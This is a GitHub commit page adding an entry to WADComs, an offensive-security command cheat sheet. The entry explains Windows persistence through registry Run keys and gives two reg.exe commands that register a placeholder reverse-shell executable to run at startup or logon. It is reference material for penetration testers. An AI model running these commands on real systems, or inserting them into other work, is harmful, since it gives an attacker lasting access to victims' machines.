forked from WADComs/WADComs.github.io
-
Notifications
You must be signed in to change notification settings - Fork 0
Commit
This commit does not belong to any branch on this repository, and may belong to a fork outside of the repository.
- Loading branch information
1 parent
4229859
commit e51b82b
Showing
1 changed file
with
30 additions
and
0 deletions.
There are no files selected for viewing
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -0,0 +1,30 @@ | ||
--- | ||
description: | | ||
It is possible to gain persistence on a windows machine by adding reg keys that will execute an arbitrary payload during logon or startup. Keys added to the HKLM hive will execute on startup. Keys added to the HKCU hive will execute when the corresponding user logs on. Adding keys into the HKLM hive will require an elevated shell. There are four keys that can be used: Run, RunOnce, RunServices, and RunServicesOnce. By default, a RunOnce key is deleted after the specified command is executed. The path for these keys is the same for the HKLM and HKCU hives. | ||
Command Reference: | ||
Value Name: /v Persistence | ||
RegKey data type: /t REG_SZ | ||
Data: /d "C:\Path\To\revshell.exe" | ||
KeyName: "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run" | ||
command: | | ||
reg.exe add "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run" /v Persistence /t REG_SZ /d "C:\Path\To\revshell.exe" | ||
reg.exe add "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run" /v Persistence /t REG_SZ /d "C:\Path\To\revshell.exe" | ||
items: | ||
- Shell | ||
OS: | ||
- Windows | ||
attack_types: | ||
- Persistance | ||
references: | ||
- https://pentestlab.blog/2019/10/01/persistence-registry-run-keys/ | ||
- https://www.hackingarticles.in/windows-persistence-using-winlogon/ | ||
- https://docs.microsoft.com/en-us/windows-server/administration/windows-commands/reg | ||
- https://docs.microsoft.com/en-us/windows-hardware/drivers/install/runonce-registry-key | ||
--- |